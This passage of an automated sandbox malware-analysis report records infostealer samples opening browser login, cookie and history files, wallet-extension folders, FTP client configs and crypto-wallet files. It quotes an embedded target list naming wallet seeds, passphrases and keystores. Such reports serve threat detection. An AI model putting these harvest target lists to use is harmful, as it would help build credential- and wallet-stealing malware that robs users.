Source: Anv6Gbh51e.exe, 00000000.00000003.1929691429.0000000000D04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstoragee
Source: Anv6Gbh51e.exe, 00000000.00000003.1815023026.0000000000D53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\info.seco"g
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\MultiDoge\multidoge.wallet
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.0000000000625000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: Anv6Gbh51e.exe, 00000000.00000003.1815023026.0000000000D53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Ledger Live","d":2,"fs":20971520},{"t":0,"/h7
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.z`+r
Source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2568280918.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\.C

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

